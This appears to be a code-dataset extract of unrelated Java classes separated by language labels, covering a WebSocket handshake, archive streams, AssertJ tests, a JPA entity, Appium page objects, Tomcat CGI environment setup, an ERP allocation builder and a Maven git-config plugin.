public abstract WebSocketChannel createChannel(WebSocketHttpExchange exchange, final StreamConnection channel, final Pool<ByteBuffer> pool);
/**
* convenience method to perform the upgrade
*/
protected final void performUpgrade(final WebSocketHttpExchange exchange, final byte[] data) {
exchange.setResponseHeader(Headers.CONTENT_LENGTH_STRING, String.valueOf(data.length));
exchange.setResponseHeader(Headers.UPGRADE_STRING, "WebSocket");
exchange.setResponseHeader(Headers.CONNECTION_STRING, "Upgrade");
upgradeChannel(exchange, data);
}
protected void upgradeChannel(final WebSocketHttpExchange exchange, final byte[] data) {
if (data.length > 0) {
writePayload(exchange, ByteBuffer.wrap(data));
} else {
exchange.endExchange();
}
}
private static void writePayload(final WebSocketHttpExchange exchange, final ByteBuffer payload) {
exchange.sendData(payload).addNotifier(new IoFuture.Notifier<Void, Object>() {
@Override
public void notify(final IoFuture<? extends Void> ioFuture, final Object attachment) {
if(ioFuture.getStatus() == IoFuture.Status.DONE) {
exchange.endExchange();
} else {
exchange.close();
}
}
}, null);
}
/**
* Perform the upgrade using no payload
*/
protected final void performUpgrade(final WebSocketHttpExchange exchange) {
performUpgrade(exchange, EMPTY);
}
/**
* Selects the first matching supported sub protocol and add it the the headers of the exchange.
*
* @throws WebSocketHandshakeException Get thrown if no subprotocol could be found
*/
protected final void selectSubprotocol(final WebSocketHttpExchange exchange) throws WebSocketHandshakeException {
String requestedSubprotocols = exchange.getRequestHeader(Headers.SEC_WEB_SOCKET_PROTOCOL_STRING);
if (requestedSubprotocols == null) {
return;
}
String[] requestedSubprotocolArray = PATTERN.split(requestedSubprotocols);
String subProtocol = supportedSubprotols(requestedSubprotocolArray);
if (subProtocol == null) {
// No match found
throw WebSocketMessages.MESSAGES.unsupportedProtocol(requestedSubprotocols, subprotocols);
}
exchange.setResponseHeader(Headers.SEC_WEB_SOCKET_PROTOCOL_STRING, subProtocol);
}
protected String supportedSubprotols(String[] requestedSubprotocolArray) {
for (String p : requestedSubprotocolArray) {
String requestedSubprotocol = p.trim();
for (String supportedSubprotocol : subprotocols) {
if (requestedSubprotocol.equals(supportedSubprotocol)) {
return supportedSubprotocol;
}
}
}
return null;
}
}
|
Java
|
public abstract class ArchiveStream extends InputStream implements Closeable {
private ArchiveEntry currentEntry;
private boolean closed;
/**
* Returns the {@link ArchiveEntry} the stream currently points to.
*
* @return the current {@link ArchiveEntry}
*/
public ArchiveEntry getCurrentEntry() {
return this.currentEntry;
}
/**
* Moves the pointer of the stream to the next {@link ArchiveEntry} and returns it.
*
* @return the next archive entry.
* @throws IOException propagated I/O exception
*/
public ArchiveEntry getNextEntry() throws IOException {
this.currentEntry = this.createNextEntry();
return this.currentEntry;
}
/**
* Abstract method to create the next {@link ArchiveEntry} for the {@link ArchiveStream}
* implementation.
*
* @return the next archive entry
* @throws IOException propagated I/O exception
*/
protected abstract ArchiveEntry createNextEntry() throws IOException;
@Override
public void close() throws IOException {
this.closed = true;
}
/**
* Checks whether the current stream has been closed
*
* @return true if the stream has been closed
*/
public boolean isClosed() {
return this.closed;
}
}
|
Java
|
public class ObjectArray_special_assertion_methods_in_assumptions_Test extends BaseAssumptionsRunnerTest {
public static Stream<AssumptionRunner<?>> provideAssumptionsRunners() {
return Stream.of(
// extracting methods
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting(throwingNameExtractor)
.contains("Frodo"),
value -> assumeThat(value).extracting(throwingNameExtractor)
.contains("Gandalf")),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting(nameExtractor)
.contains("Frodo", "Sam"),
value -> assumeThat(value).extracting(nameExtractor)
.contains("Gandalf", "Sam")),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting("name")
.contains("Frodo", "Sam"),
value -> assumeThat(value).extracting("name")
.contains("Gandalf", "Sam")),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting("name", String.class)
.contains("Frodo", "Sam"),
value -> assumeThat(value).extracting("name", String.class)
.contains("Gandalf", "Sam")),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting("name", "age")
.contains(tuple("Frodo", 33)),
value -> assumeThat(value).extracting("name", "age")
.contains(tuple("Gandalf", 1000))),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting(nameExtractorFunction, ageExtractorFunction)
.contains(tuple("Frodo", 33)),
value -> assumeThat(value).extracting(nameExtractorFunction, ageExtractorFunction)
.contains(tuple("Gandalf", 1000))),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extracting(TolkienCharacter::getName, TolkienCharacter::getAge)
.contains(tuple("Frodo", 33)),
value -> assumeThat(value).extracting(TolkienCharacter::getName, TolkienCharacter::getAge)
.contains(tuple("Gandalf", 1000))),
// extractingResultOf methods
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extractingResultOf("getName")
.contains("Frodo", "Sam"),
value -> assumeThat(value).extractingResultOf("getName")
.contains("Gandalf", "Sam")),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).extractingResultOf("getName", String.class)
.contains("Frodo", "Sam"),
value -> assumeThat(value).extractingResultOf("getName", String.class)
.contains("Gandalf", "Sam")),
// flatExtracting methods
assumptionRunner(array(homer, fred),
value -> assumeThat(value).flatExtracting("children")
.containsAnyOf(bart, lisa),
value -> assumeThat(value).flatExtracting("children")
.containsAnyOf(homer, fred)),
assumptionRunner(array(homer, fred),
value -> assumeThat(value).flatExtracting(childrenExtractor)
.containsAnyOf(bart, lisa),
value -> assumeThat(value).flatExtracting(childrenExtractor)
.containsAnyOf(homer, fred)),
assumptionRunner(array(homer, fred),
value -> assumeThat(value).flatExtracting(CartoonCharacter::getChildren)
.containsAnyOf(bart, lisa),
value -> assumeThat(value).flatExtracting(CartoonCharacter::getChildren)
.containsAnyOf(homer, fred)),
// filteredOn methods
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOn(hero -> hero.getName().startsWith("Fro"))
.contains(frodo),
value -> assumeThat(value).filteredOn(hero -> hero.getName().startsWith("Fro"))
.contains(sam)),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOn(new Condition<>(hero -> hero.getName().startsWith("Fro"), "startsWith Fro"))
.contains(frodo),
value -> assumeThat(value).filteredOn(new Condition<>(hero -> hero.getName().startsWith("Fro"), "startsWith Fro"))
.contains(sam)),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOn("name", "Frodo")
.contains(frodo),
value -> assumeThat(value).filteredOn("name", "Frodo")
.contains(sam)),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOnNull("name")
.isEmpty(),
value -> assumeThat(value).filteredOnNull("name")
.contains(sam)),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOn("name", in("John", "Frodo"))
.contains(frodo),
value -> assumeThat(value).filteredOn("name", in("John", "Frodo"))
.contains(sam)),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOn(hero -> hero.getName().startsWith("Fro"))
.extracting("name", "age")
.contains(tuple("Frodo", 33)),
value -> assumeThat(value).filteredOn(hero -> hero.getName().startsWith("Fro"))
.extracting("name", "age")
.contains(tuple("Sam", 35))),
assumptionRunner(array(frodo, sam),
value -> assumeThat(value).filteredOnAssertions(hero -> assertThat(hero.getName()).startsWith("Fro"))
.contains(frodo),
value -> assumeThat(value).filteredOnAssertions(hero -> assertThat(hero.getName()).startsWith("Fro"))
.contains(sam)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).contains(1, 2),
value -> assumeThat(value).contains(4)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsAnyOf(1, 10, 20),
value -> assumeThat(value).containsAnyOf(0, 5, 10)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsExactly(1, 2, 3),
value -> assumeThat(value).containsExactly(4)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsExactlyInAnyOrder(2, 1, 3),
value -> assumeThat(value).containsExactlyInAnyOrder(1, 2)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsOnly(2, 1, 3, 2),
value -> assumeThat(value).containsOnly(1, 2, 4)),
assumptionRunner(array(2, 4, 2),
value -> assumeThat(value).containsOnlyOnce(4),
value -> assumeThat(value).containsOnlyOnce(2)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsSequence(1, 2),
value -> assumeThat(value).containsSequence(1, 3)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).containsSubsequence(1, 3),
value -> assumeThat(value).containsSubsequence(2, 1)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).doesNotContain(4, 5),
value -> assumeThat(value).doesNotContain(2, 1)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).doesNotContainSequence(1, 3),
value -> assumeThat(value).doesNotContainSequence(1, 2)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).doesNotContainSubsequence(2, 1),
value -> assumeThat(value).doesNotContainSubsequence(1, 3)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).isSubsetOf(1, 2, 3, 4),
value -> assumeThat(value).isSubsetOf(2, 4, 6)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).startsWith(1, 2),
value -> assumeThat(value).startsWith(2, 3)),
assumptionRunner(array(1, 2, 3),
value -> assumeThat(value).endsWith(2, 3),
value -> assumeThat(value).endsWith(2, 4))
);
}
}
|
Java
|
@Entity
@Table(name = "workload_manager", uniqueConstraints = { @UniqueConstraint(columnNames = {
"project", "workloadType" }) })
public class WorkloadManager implements Serializable
{
private static final long serialVersionUID = -3289504168531309833L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@ManyToOne
@JoinColumn(name = "project", nullable = false)
private Project project;
@Column(columnDefinition = "VARCHAR(255)")
private String workloadType;
@Lob
@Column(length = 64000)
private String traits;
public WorkloadManager()
{
}
public WorkloadManager(Project aProject, String aWorkloadType, String aTraits)
{
project = aProject;
workloadType = aWorkloadType;
traits = aTraits;
}
public Long getId()
{
return id;
}
public void setId(Long aId)
{
id = aId;
}
public Project getProject()
{
return project;
}
public void setProject(Project aProject)
{
project = aProject;
}
public String getType() {
return workloadType;
}
public void setType(String aWorkloadType) {
workloadType = aWorkloadType;
}
public String getTraits()
{
return traits;
}
public void setTraits(String aTraits)
{
traits = aTraits;
}
@Override
public boolean equals(final Object other)
{
if (!(other instanceof WorkloadManager)) {
return false;
}
WorkloadManager castOther = (WorkloadManager) other;
return Objects.equals(project, castOther.project)
&& Objects.equals(workloadType, castOther.workloadType);
}
@Override
public int hashCode()
{
return Objects.hash(project, workloadType);
}
}
|
Java
|
@SuppressWarnings("unused")
public class Logger<A, S> implements Middleware<A, S> {
private final String tag;
public Logger(String tag) {
this.tag = tag;
}
@Override
public void dispatch(Store<A, S> store, A action, NextDispatcher<A> next) {
Timber.d(tag, "--> " + action.toString());
next.dispatch(action);
Timber.d(tag, "<-- " + store.getState().toString());
}
}
|
Java
|
public class Frm4 extends BaseForm {
public Frm4(RemoteWebDriver driver) {
super(driver); // super() is used to invoke immediate parent class
// constructor.
}
// Locators used in Form Five
/**
* Use UIAutomator technique to find elements of a web page. Here we are
* using driver.findElementByAndroidUIAutomator() along with UiSelector to
* find the Web Element of a page.
*/
@FindBy(name = "Browser")
public WebElement lbl_browser;
@FindBy(name = "Map")
public WebElement lbl_map;
@iOSFindBy(xpath="//UIAElement[1]")
@AndroidFindBy(xpath = "//android.widget.Spinner[@index='0']")
public WebElement search_box;
@iOSFindBy(xpath="//UIAButton[2]")
@AndroidFindBy(xpath = "//android.widget.Button[@index='2']")
public WebElement search_btn;
@AndroidFindBy(xpath = "//android.view.View[contains(@resource-id,'tsfi')]")
public WebElement srch_box;
@AndroidFindBy(xpath = "//android.widget.Button[contains(@resource-id,'tsbb')]")
public WebElement srch_btn;
@FindBy(name = "Click for more widgets")
public WebElement navigation_link;
// Method that performs operations in Form Five
public void browserWidget() throws InterruptedException {
Dimension size;
Thread.sleep(3000);
// Get the size of screen.
size = driver.manage().window().getSize();
// Find swipe start and end point from screen's with and height.
// Find starty point which is at bottom side of screen.
int starty = (int) (size.height * 0.40);
// Find endy point which is at top side of screen.
int endy = (int) (size.height * 0.20);
// Find horizontal point where you wants to swipe. It is in middle of
// screen width.
int startx = size.width / 6;
if ("MAC".equalsIgnoreCase("platformName")) {
iosdriver.swipe(startx, starty, startx, endy, 3000);
} else {
androiddriver.swipe(startx, starty, startx, endy, 3000);
}
try {
this.srch_box.sendKeys("Engie");
this.srch_btn.click();
} catch (Exception e) {
this.search_box.sendKeys("Engie");
this.search_btn.click();
}
Thread.sleep(4000);
this.navigation_link.click();
}
/**
* isDisplayed() is boolean method i.e, it returns true or false. Basically
* this method is used to find whether the element is being displayed.
*/
public boolean isDisplayed() {
return (this.lbl_browser.isDisplayed() || this.lbl_map.isDisplayed());
}
}
|
Java
|
public class CGIProcessEnvironment extends ProcessEnvironment {
private static org.apache.commons.logging.Log log=
org.apache.commons.logging.LogFactory.getLog( CGIProcessEnvironment.class );
/** cgi command's query parameters */
private Hashtable queryParameters = null;
/**
* The CGI search path will start at
* webAppRootDir + File.separator + cgiPathPrefix
* (or webAppRootDir alone if cgiPathPrefix is
* null)
*/
private String cgiPathPrefix = null;
/**
* Creates a ProcessEnvironment and derives the necessary environment,
* working directory, command, etc. The cgi path prefix is initialized
* to "" (the empty string).
*
* @param req HttpServletRequest for information provided by
* the Servlet API
* @param context ServletContext for information provided by
* the Servlet API
*/
public CGIProcessEnvironment(HttpServletRequest req,
ServletContext context) {
this(req, context, "");
}
/**
* Creates a ProcessEnvironment and derives the necessary environment,
* working directory, command, etc.
* @param req HttpServletRequest for information provided by
* the Servlet API
* @param context ServletContext for information provided by
* the Servlet API
* @param cgiPathPrefix subdirectory of webAppRootDir below which the
* web app's CGIs may be stored; can be null or "".
*/
public CGIProcessEnvironment(HttpServletRequest req,
ServletContext context, String cgiPathPrefix) {
this(req, context, cgiPathPrefix, 0);
}
/**
* Creates a ProcessEnvironment and derives the necessary environment,
* working directory, command, etc.
* @param req HttpServletRequest for information provided by
* the Servlet API
* @param context ServletContext for information provided by
* the Servlet API
* @param debug int debug level (0 == none, 6 == lots)
*/
public CGIProcessEnvironment(HttpServletRequest req,
ServletContext context, int debug) {
this(req, context, "", 0);
}
/**
* Creates a ProcessEnvironment and derives the necessary environment,
* working directory, command, etc.
* @param req HttpServletRequest for information provided by
* the Servlet API
* @param context ServletContext for information provided by
* the Servlet API
* @param cgiPathPrefix subdirectory of webAppRootDir below which the
* web app's CGIs may be stored; can be null or "".
* @param debug int debug level (0 == none, 6 == lots)
*/
public CGIProcessEnvironment(HttpServletRequest req,
ServletContext context, String cgiPathPrefix, int debug) {
super(req, context, debug);
this.cgiPathPrefix = cgiPathPrefix;
queryParameters = new Hashtable();
Enumeration paramNames = req.getParameterNames();
while (paramNames != null && paramNames.hasMoreElements()) {
String param = paramNames.nextElement().toString();
if (param != null) {
queryParameters.put(param,
URLEncoder.encode(req.getParameter(param)));
}
}
this.valid = deriveProcessEnvironment(req);
}
/**
* Constructs the CGI environment to be supplied to the invoked CGI
* script; relies heavliy on Servlet API methods and findCGI
* @param req request associated with the CGI invokation
* @return true if environment was set OK, false if there was a problem
* and no environment was set
*/
protected boolean deriveProcessEnvironment(HttpServletRequest req) {
/*
* This method is slightly ugly; c'est la vie.
* "You cannot stop [ugliness], you can only hope to contain [it]"
* (apologies to Marv Albert regarding MJ)
*/
Hashtable envp;
super.deriveProcessEnvironment(req);
envp = getEnvironment();
String sPathInfoOrig = null;
String sPathTranslatedOrig = null;
String sPathInfoCGI = null;
String sPathTranslatedCGI = null;
String sCGIFullPath = null;
String sCGIScriptName = null;
String sCGIFullName = null;
String sCGIName = null;
String[] sCGINames;
sPathInfoOrig = this.pathInfo;
sPathInfoOrig = sPathInfoOrig == null ? "" : sPathInfoOrig;
sPathTranslatedOrig = req.getPathTranslated();
sPathTranslatedOrig = sPathTranslatedOrig == null ? "" :
sPathTranslatedOrig;
sCGINames =
findCGI(sPathInfoOrig, getWebAppRootDir(), getContextPath(),
getServletPath(), cgiPathPrefix);
sCGIFullPath = sCGINames[0];
sCGIScriptName = sCGINames[1];
sCGIFullName = sCGINames[2];
sCGIName = sCGINames[3];
if (sCGIFullPath == null || sCGIScriptName == null
|| sCGIFullName == null || sCGIName == null) {
return false;
}
envp.put("SERVER_SOFTWARE", "TOMCAT");
envp.put("SERVER_NAME", nullsToBlanks(req.getServerName()));
envp.put("GATEWAY_INTERFACE", "CGI/1.1");
envp.put("SERVER_PROTOCOL", nullsToBlanks(req.getProtocol()));
int port = req.getServerPort();
Integer iPort = (port == 0 ? new Integer(-1) : new Integer(port));
envp.put("SERVER_PORT", iPort.toString());
envp.put("REQUEST_METHOD", nullsToBlanks(req.getMethod()));
/*-
* PATH_INFO should be determined by using sCGIFullName:
* 1) Let sCGIFullName not end in a "/" (see method findCGI)
* 2) Let sCGIFullName equal the pathInfo fragment which
* corresponds to the actual cgi script.
* 3) Thus, PATH_INFO = request.getPathInfo().substring(
* sCGIFullName.length())
*
* (see method findCGI, where the real work is done)
*
*/
if (pathInfo == null ||
(pathInfo.substring(sCGIFullName.length()).length() <= 0)) {
sPathInfoCGI = "";
} else {
sPathInfoCGI = pathInfo.substring(sCGIFullName.length());
}
envp.put("PATH_INFO", sPathInfoCGI);
/*-
* PATH_TRANSLATED must be determined after PATH_INFO (and the
* implied real cgi-script) has been taken into account.
*
* The following example demonstrates:
*
* servlet info = /servlet/cgigw/dir1/dir2/cgi1/trans1/trans2
* cgifullpath = /servlet/cgigw/dir1/dir2/cgi1
* path_info = /trans1/trans2
* webAppRootDir = servletContext.getRealPath("/")
*
* path_translated = servletContext.getRealPath("/trans1/trans2")
*
* That is, PATH_TRANSLATED = webAppRootDir + sPathInfoCGI
* (unless sPathInfoCGI is null or blank, then the CGI
* specification dictates that the PATH_TRANSLATED metavariable
* SHOULD NOT be defined.
*
*/
if (sPathInfoCGI != null && !("".equals(sPathInfoCGI))) {
sPathTranslatedCGI = getContext().getRealPath(sPathInfoCGI);
} else {
sPathTranslatedCGI = null;
}
if (sPathTranslatedCGI == null || "".equals(sPathTranslatedCGI)) {
//NOOP
} else {
envp.put("PATH_TRANSLATED", nullsToBlanks(sPathTranslatedCGI));
}
envp.put("SCRIPT_NAME", nullsToBlanks(sCGIScriptName));
envp.put("QUERY_STRING", nullsToBlanks(req.getQueryString()));
envp.put("REMOTE_HOST", nullsToBlanks(req.getRemoteHost()));
envp.put("REMOTE_ADDR", nullsToBlanks(req.getRemoteAddr()));
envp.put("AUTH_TYPE", nullsToBlanks(req.getAuthType()));
envp.put("REMOTE_USER", nullsToBlanks(req.getRemoteUser()));
envp.put("REMOTE_IDENT", ""); //not necessary for full compliance
envp.put("CONTENT_TYPE", nullsToBlanks(req.getContentType()));
/* Note CGI spec says CONTENT_LENGTH must be NULL ("") or undefined
* if there is no content, so we cannot put 0 or -1 in as per the
* Servlet API spec.
*/
int contentLength = req.getContentLength();
String sContentLength = (contentLength <= 0 ? "" : (
new Integer(contentLength)).toString());
envp.put("CONTENT_LENGTH", sContentLength);
Enumeration headers = req.getHeaderNames();
String header = null;
while (headers.hasMoreElements()) {
header = null;
header = ((String)headers.nextElement()).toUpperCase();
//REMIND: rewrite multiple headers as if received as single
//REMIND: change character set
//REMIND: I forgot what the previous REMIND means
if ("AUTHORIZATION".equalsIgnoreCase(header)
|| "PROXY_AUTHORIZATION".equalsIgnoreCase(header)) {
//NOOP per CGI specification section 11.2
} else if ("HOST".equalsIgnoreCase(header)) {
String host = req.getHeader(header);
envp.put("HTTP_" + header.replace('-', '_'),
host.substring(0, host.indexOf(":")));
} else {
envp.put("HTTP_" + header.replace('-', '_'),
req.getHeader(header));
}
}
command = sCGIFullPath;
workingDirectory = new File(command.substring(0,
command.lastIndexOf(File.separator)));
envp.put("X_TOMCAT_COMMAND_PATH", command); //for kicks
this.setEnvironment(envp);
return true;
}
/**
* Resolves core information about the cgi script. <p> Example URI:
* <PRE> /servlet/cgigateway/dir1/realCGIscript/pathinfo1 </PRE> <ul>
* <LI><b>path</b> = $CATALINA_HOME/mywebapp/dir1/realCGIscript
* <LI><b>scriptName</b> = /servlet/cgigateway/dir1/realCGIscript</LI>
* <LI><b>cgiName</b> = /dir1/realCGIscript
* <LI><b>name</b> = realCGIscript
* </ul>
* </p>
* <p>
* CGI search algorithm: search the real path below
* <my-webapp-root> and find the first non-directory in
* the getPathTranslated("/"), reading/searching from left-to-right.
* </p>
* <p>
* The CGI search path will start at
* webAppRootDir + File.separator + cgiPathPrefix (or webAppRootDir
* alone if cgiPathPrefix is null).
* </p>
* <p>
* cgiPathPrefix is usually set by the calling servlet to the servlet's
* cgiPathPrefix init parameter
* </p>
*
* @param pathInfo String from HttpServletRequest.getPathInfo()
* @param webAppRootDir String from context.getRealPath("/")
* @param contextPath String as from HttpServletRequest.getContextPath()
* @param servletPath String as from HttpServletRequest.getServletPath()
* @param cgiPathPrefix subdirectory of webAppRootDir below which the
* web app's CGIs may be stored; can be null.
* @return
* <ul> <li> <code>path</code> - full file-system path to valid cgi
* script, or null if no cgi was found
* <li> <code>scriptName</code> - CGI variable SCRIPT_NAME; the full
* URL path to valid cgi script or
* null if no cgi was found
* <li> <code>cgiName</code> - servlet pathInfo fragment
* corresponding to the cgi script
* itself, or null if not found
* <li> <code>name</code> - simple name (no directories) of
* the cgi script, or null if no cgi
* was found
* </ul>
* @since Tomcat 4.0
*/
protected String[] findCGI(String pathInfo, String webAppRootDir,
String contextPath, String servletPath, String cgiPathPrefix) {
String path = null;
String name = null;
String scriptname = null;
String cginame = null;
if ((webAppRootDir != null)
&& (webAppRootDir.lastIndexOf("/")
== (webAppRootDir.length() - 1))) {
//strip the trailing "/" from the webAppRootDir
webAppRootDir =
webAppRootDir.substring(0,
(webAppRootDir.length() - 1));
}
if (cgiPathPrefix != null) {
webAppRootDir = webAppRootDir + File.separator
+ cgiPathPrefix;
}
if (log.isDebugEnabled()) {
log.debug("findCGI: start = [" + webAppRootDir
+ "], pathInfo = [" + pathInfo + "] ");
}
File currentLocation = new File(webAppRootDir);
StringTokenizer dirWalker = new StringTokenizer(pathInfo, "/");
while (!currentLocation.isFile() && dirWalker.hasMoreElements()) {
currentLocation = new
File(currentLocation, (String) dirWalker.nextElement());
if (log.isDebugEnabled()) {
log.debug("findCGI: traversing to [" + currentLocation + "]");
}
}
if (!currentLocation.isFile()) {
return new String[] { null, null, null, null };
} else {
if (log.isDebugEnabled()) {
log.debug("findCGI: FOUND cgi at [" + currentLocation + "]");
}
path = currentLocation.getAbsolutePath();
name = currentLocation.getName();
cginame = currentLocation.getParent()
.substring(webAppRootDir.length())
+ File.separator + name;
if (".".equals(contextPath)) {
scriptname = servletPath + cginame;
} else {
scriptname = contextPath + servletPath + cginame;
}
}
if (log.isDebugEnabled()) {
log.debug("findCGI calc: name=" + name + ", path=" + path
+ ", scriptname=" + scriptname + ", cginame=" + cginame);
}
return new String[] { path, scriptname, cginame, name };
}
/**
* Print important CGI environment information in an
* easy-to-read HTML table
* @return HTML string containing CGI environment info
*/
public String toString() {
StringBuffer sb = new StringBuffer();
sb.append("<TABLE border=2>");
sb.append("<tr><th colspan=2 bgcolor=grey>");
sb.append("ProcessEnvironment Info</th></tr>");
sb.append("<tr><td>Debug Level</td><td>");
sb.append(debug);
sb.append("</td></tr>");
sb.append("<tr><td>Validity:</td><td>");
sb.append(isValid());
sb.append("</td></tr>");
if (isValid()) {
Enumeration envk = env.keys();
while (envk.hasMoreElements()) {
String s = (String)envk.nextElement();
sb.append("<tr><td>");
sb.append(s);
sb.append("</td><td>");
sb.append(blanksToString((String)env.get(s),
"[will be set to blank]"));
sb.append("</td></tr>");
}
}
sb.append("<tr><td colspan=2><HR></td></tr>");
sb.append("<tr><td>Derived Command</td><td>");
sb.append(nullsToBlanks(command));
sb.append("</td></tr>");
sb.append("<tr><td>Working Directory</td><td>");
if (workingDirectory != null) {
sb.append(workingDirectory.toString());
}
sb.append("</td></tr>");
sb.append("<tr><td colspan=2>Query Params</td></tr>");
Enumeration paramk = queryParameters.keys();
while (paramk.hasMoreElements()) {
String s = paramk.nextElement().toString();
sb.append("<tr><td>");
sb.append(s);
sb.append("</td><td>");
sb.append(queryParameters.get(s).toString());
sb.append("</td></tr>");
}
sb.append("</TABLE><p>end.");
return sb.toString();
}
/**
* Gets process' derived query parameters
* @return process' query parameters
*/
public Hashtable getParameters() {
return queryParameters;
}
}
|
Java
|
@ToString(of = { "allocHdr", "_built", "allocationLineBuilders" })
public class C_AllocationHdr_Builder
{
// services
private static final transient Logger logger = LogManager.getLogger(C_AllocationHdr_Builder.class);
private final IAllocationDAO allocationDAO = Services.get(IAllocationDAO.class);
private final IDocumentBL documentBL = Services.get(IDocumentBL.class);
// Status
private final I_C_AllocationHdr allocHdr;
private boolean _built;
private final ArrayList<C_AllocationLine_Builder> allocationLineBuilders = new ArrayList<>();
private final ArrayList<I_C_AllocationLine> allocationLines = new ArrayList<>();
public C_AllocationHdr_Builder()
{
// Make sure we are running in transaction
final ITrxManager trxManager = Services.get(ITrxManager.class);
trxManager.assertThreadInheritedTrxExists();
// Create the allocation header (draft).
// It will be saved only when needed.
this.allocHdr = InterfaceWrapperHelper.newInstance(I_C_AllocationHdr.class);
}
@Nullable
public I_C_AllocationHdr create(final boolean complete)
{
markAsBuilt();
// Supplier which provides a created & saved allocation header.
// To be used by line builder only when the line builder is sure it will create a line.
// We are memorizing the result because we want to save it only first time when it's called.
final Supplier<I_C_AllocationHdr> allocHdrSupplier = Suppliers.memoize(() -> {
allocationDAO.save(allocHdr);
return allocHdr;
});
//
// Iterate all line builders and create allocation lines, if needed.
int createdLinesCount = 0;
for (final C_AllocationLine_Builder line : allocationLineBuilders)
{
final I_C_AllocationLine allocationLine = line.create(allocHdrSupplier);
if (allocationLine != null)
{
createdLinesCount++;
allocationLines.add(allocationLine);
}
}
// If the allocation was not saved, it means it was not needed, so we stop here
if (allocHdr.getC_AllocationHdr_ID() <= 0)
{
Check.assume(createdLinesCount == 0, "When allocation header is not saved, we expect no lines to be created but we got {}", createdLinesCount);
return null;
}
// If there were no lines created, but our allocation header is created and saved, we shall get rid of it.
// NOTE: this case could happen only if the line builder is poorly written.
if (createdLinesCount <= 0)
{
final AdempiereException ex = new AdempiereException("No allocation lines were created even though the allocation header was saved. Deleting it: " + allocHdr);
logger.warn(ex.getLocalizedMessage(), ex);
InterfaceWrapperHelper.delete(allocHdr);
}
//
// Process the allocation if asked
if (complete)
{
documentBL.processEx(allocHdr, IDocument.ACTION_Complete, IDocument.STATUS_Completed);
}
return allocHdr;
}
public final I_C_AllocationHdr createAndComplete()
{
final boolean complete = true;
return create(complete);
}
private void markAsBuilt()
{
assertNotBuilt();
_built = true;
}
private void assertNotBuilt()
{
Check.assume(!_built, "Not already built");
}
IAllocationDAO getAllocationDAO()
{
return allocationDAO;
}
public final C_AllocationHdr_Builder orgId(@NonNull final OrgId orgId)
{
return orgId(orgId.getRepoId());
}
public final C_AllocationHdr_Builder orgId(final int adOrgId)
{
assertNotBuilt();
allocHdr.setAD_Org_ID(adOrgId);
return this;
}
public final C_AllocationHdr_Builder dateTrx(LocalDate dateTrx)
{
return dateTrx(TimeUtil.asTimestamp(dateTrx));
}
public final C_AllocationHdr_Builder dateTrx(Timestamp dateTrx)
{
assertNotBuilt();
allocHdr.setDateTrx(dateTrx);
return this;
}
public final C_AllocationHdr_Builder dateAcct(LocalDate dateAcct)
{
return dateAcct(TimeUtil.asTimestamp(dateAcct));
}
public final C_AllocationHdr_Builder dateAcct(Timestamp dateAcct)
{
assertNotBuilt();
allocHdr.setDateAcct(dateAcct);
return this;
}
public final C_AllocationHdr_Builder currencyId(@NonNull final CurrencyId currencyId)
{
return currencyId(currencyId.getRepoId());
}
public final C_AllocationHdr_Builder currencyId(int currencyId)
{
assertNotBuilt();
allocHdr.setC_Currency_ID(currencyId);
return this;
}
public final C_AllocationHdr_Builder manual(final boolean manual)
{
assertNotBuilt();
allocHdr.setIsManual(manual);
return this;
}
public C_AllocationHdr_Builder description(final String description)
{
assertNotBuilt();
allocHdr.setDescription(description);
return this;
}
public C_AllocationLine_Builder addLine()
{
assertNotBuilt();
final C_AllocationLine_Builder lineBuilder = new C_AllocationLine_Builder(this);
allocationLineBuilders.add(lineBuilder);
return lineBuilder;
}
public final ImmutableList<I_C_AllocationLine> getC_AllocationLines()
{
return ImmutableList.copyOf(allocationLines);
}
public C_AllocationHdr_Builder disableUpdateBPartnerTotalOpenBanace()
{
IBPartnerStatisticsUpdater.DYNATTR_DisableUpdateTotalOpenBalances.setValue(allocHdr, true);
return this;
}
}
|
Java
|
@Mojo(name = "configure", defaultPhase = LifecyclePhase.GENERATE_SOURCES)
public class GitConfigMojo extends GitRepositoryValidator {
/** Injected MavenProject containing project related information such as base directory. */
@Parameter(defaultValue = "${project}", readonly = true, required = true)
private MavenProject project;
/** The git config to set and the values to set them to. */
@Parameter(readonly = true)
private Map<String, String> gitConfig;
@Override
public void execute() throws MojoFailureException {
// This goal requires the project to have a git repository initialized.
validateGitRepository(project);
final FileRepositoryBuilder repoBuilder = new FileRepositoryBuilder();
repoBuilder.findGitDir(project.getBasedir());
try (Git git = Git.open(repoBuilder.getGitDir())) {
final StoredConfig config = git.getRepository().getConfig();
for (final Map.Entry<String, String> entry : gitConfig.entrySet()) {
final String[] conf = stringToConfigArray(entry.getKey());
config.setString(conf[0], conf[1], conf[2], entry.getValue());
getLog().info("Git config '" + entry.getKey() + "' set to - " + entry.getValue());
}
config.save();
} catch (final IOException ioe) {
failBuildBecauseRepoCouldNotBeFound(ioe);
}
}
/**
